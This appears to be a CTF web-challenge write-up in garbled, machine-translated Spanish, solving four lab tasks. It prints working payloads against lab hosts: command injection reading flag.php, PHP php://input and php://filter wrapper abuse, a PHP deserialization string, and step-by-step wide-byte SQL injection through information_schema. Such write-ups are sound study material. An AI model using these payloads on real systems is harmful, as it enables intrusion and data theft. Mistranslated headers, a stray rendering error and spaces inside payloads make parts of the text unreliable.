0x01 Prefacio
Antes de cierta competencia de la "Copa Artesano" en las clasificatorias internas de cierto grupo, de todos modos, no había nada que hacer, así que simplemente miré las preguntas de la web e hice un registro simple.
Pregunta web 0x02
2.1 Ejecución de comandos
1. Desde el punto de vista del paquete de datos, se puede adivinar que hay una ejecución de comando en ip. Hay un pequeño filtrado, pero el filtrado no está completo. Después de un intento, ip = 127.0.0.1 | ls & submit = PING puede tener éxito (suponga que el filtrado de código aquí es principalmente dvwa La ejecución del comando es la misma que ('|' => ''), porque hay un espacio extra después de él, puede abrirse paso)
Crear publicación y enviar ip = 127.0.0.1 | ls & submit = PING para ver flag.php
2. Luego pasar ip = 127.0.0.1 | pwd & submit = PING y la ruta es / var / www / html
3. Luego, léalo directamente, se encuentra que hay un filtro para espacios, payload: ip = 127.0.0.1 | cat $ IFS / var / www / html / flag.php & submit = PING puede obtener una bandera
2.2 Deserialización
1. El acceso directo a la dirección dada puede ver una pista de código
you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
2. A partir del código comentado, se puede ver que se deben pasar tres parámetros user, file, pass
y luego romper if (isset ( KaTeX parse error: Expected'EOF ', got' & 'at position 6: user) & ̲ & (file_get_cont ... Usuario, 'r') === “el usuario es administrador”)) En
otras palabras, la variable de usuario debe ser igual a que el usuario es administrador.
Según el comentario, la
variable de paso file = class.php se encuentra en el código solicitado No tiene mucho sentido, puedes ignorarlo
por el momento. Primero, tengo que romper aquí. Pensé en el pseudoprotocolo php php: // input para
construir el paquete de datos de publicación de la siguiente manera
POST /?user=php://input&flie=class.php HTTP / 1.1
Host: 192.168.1.1: 56782
Cache-Control: max-age = 0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, como Gecko) Chrome / 84.0.4147.105 Safari / 537.36
Aceptar: texto / html, aplicación / xhtml + xml, aplicación / xml; q = 0.9, imagen / webp, imagen / apng, /; q = 0,8, aplicación / intercambio firmado; v = b3; q = 0,9
Codificación de aceptación: gzip, deflate
Lenguaje de aceptación: zh-CN, zh; q = 0,9
Conexión: cerrar
Longitud de contenido: 17
El usuario es administrador y
luego debe incluir class.php. Dado que la ubicación de class.php es desconocida, se usa otro protocolo de encapsulación de php: php: // filter puede leer cualquier archivo
usando este protocolo. Use método: php: //filter/convert.base64-encode/resource=index.php
aquí para convertir el contenido de index.php leído al formato base64
POST /? user = php: // input & file = php: // filter / convert. base64-encode / resource = class.php HTTP / 1.1
Host: 192.168.1.1:56782
Cache-Control: max-age = 0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla / 5.0 (Windows NT 10.0; Win64; x64 ) AppleWebKit / 537.36 (KHTML, como Gecko) Chrome / 84.0.4147.89 Safari / 537.36
Aceptar: texto / html, aplicación / xhtml + xml, aplicación / xml; q = 0.9, imagen / webp, imagen / apng, / ; q = 0,8, aplicación / intercambio con signo; v = b3; q = 0,9
Codificación de aceptación: gzip, deflate
Lenguaje de aceptación: zh-CN, zh; q = 0,9
Conexión: cerrar
Contenido-Longitud: 17
El usuario es admin
PD9waHAKCmNsYXNzIFJlYWR7Ly9mMWFnLnBocAogICAgcHVibGljICRmaWxlOwogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9TdHJpbmcoKXsKICAgICAgICBpZihpc3NldCgkdGhpcy0 + ZmlsZSkpewogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICJfX3RvU3RyaW5nIHdhcyBjYWxsZWQhIjsKICAgIH0KfQo / Pgo =
estrellas decodificación base 64 mediante un código
<?php
class Read{
//f1ag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
En base a esto, se puede construir un parámetro de deserialización. El paquete de datos específico es el siguiente
: POST /?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s: 57: "php: //filter/read=convert.base64-encode/resource=f1ag.php";} HTTP / 1.1
Host: 192.168.1.1:56782
Cache-Control: max-age = 0
Upgrade-Insecure-Requests: 1
Usuario-Agente: Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, como Gecko) Chrome / 84.0.4147.89 Safari / 537.36
Aceptar: texto / html, aplicación / xhtml + xml, aplicación / xml; q = 0.9, imagen / webp, imagen / apng, / ; q = 0.8, aplicación / intercambio firmado; v = b3; q = 0.9
Aceptar-Codificar: gzip, desinflar
Aceptar-Idioma: zh-CN, zh; q = 0.9
Conexión: cerrar
Contenido-Longitud: 17
el usuario es administrador
usa la decodificación base64 para obtener la bandera
Secreto de 2.3 bytes
Descripción del título: la identificación del parámetro
accedió directamente a sql1.php y descubrió que está distorsionada, más la identificación de la sugerencia dada por el título en sí, suponiendo que puede ser una inyección de byte ancho.
Después de probarlo, se encontró que era una inyección de byte ancho
http://192.168.1.1:3036/sql1.php?id=%df'
1. Explota la biblioteca
http://192.168.1.1:3036/sql1.php?id=%df%27%20union%20select%201,%20database()%23得出数据库pwnhubsql1
2. Explosión
http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()%23两个表article,flag
3. Suponga el campo de la tabla de explosión
en la tabla de banderas de acuerdo con el nombre de la tabla, aquí la bandera de la tabla se convierte a hexadecimal
http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,group_concat(column_name)from%20information_schema.columns%20where%20table_name=0x666c6167%23爆出字段id,thisisflag
4. Explota la bandera
http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,hex(group_concat(thisisflag))%20from%20flag%23
Decodifica esta cadena de números en hexadecimal para obtener la bandera
2.4 Carga de archivos
Esta pregunta es más irónica
1. Solo sube una imagen, dijo que quería darme un give_me_flag.php y yo te daré la bandera.
2. Así que cambié el nombre a give_me_flag.php para obtener la bandera.
0x03 resumen
En general, las preguntas son relativamente simples, y no hay ninguna dificultad especial, solo hazlo por diversión, emmm, etc.